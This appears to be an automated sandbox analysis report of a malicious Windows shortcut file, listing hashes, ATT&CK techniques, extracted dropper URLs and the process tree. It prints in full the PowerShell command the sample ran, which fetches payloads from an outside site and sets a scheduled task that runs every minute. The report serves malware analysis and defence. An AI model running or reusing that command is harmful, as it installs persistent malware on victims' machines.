e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
03/12/2024, 08:14

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General

Target

e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b.lnk
Size

3KB
MD5

ef8150f41db3c25684ff13470182898f
SHA1

6a10b98d8cd2fb0fa641d282ea30fc196638b8cd
SHA256

e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b
SHA512

d7937781c09595c1b0c4a058929579a7499b7e28c67ef48f3ab6704a4c3b2b80cea38a1452f275e0b1205ddbabeeceaadf3c3fcd84be8fb6270904859eeff6c3

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2864	powershell.exe
6	2864	powershell.exe
7	2864	powershell.exe
8	2864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2864	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 2864	1388	cmd.exe	31
PID 1388 wrote to memory of 2864	1388	cmd.exe	31
PID 1388 wrote to memory of 2864	1388	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e02e837f8b43f14dd1de0c924fb9c7c2ead99fe1589bfb5126f120be5bc8599b.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -comman [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $s9iJkyOlgfNn3 = New-Object Net.WebClient; $cio = $s9iJkyOlgfNn3.DownloadData('https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php'); $s9iJkyOlgfNn3.DownloadFile('https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php', 'EB3Vk0QhrcN4wn.js'); schtasks /create /sc minute /mo 1 /f /tr ([System.Text.Encoding]::UTF8.GetString($cio) + $env:tmp + '\' + ('EB3Vk0QhrcN4wn.js ' * 2)) /tn HAoyOEGl0;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2864-38-0x000007FEF5D9E000-0x000007FEF5D9F000-memory.dmp

Filesize
4KB

Download
memory/2864-39-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2864-40-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2864-42-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-41-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-44-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-45-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-43-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-46-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-47-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download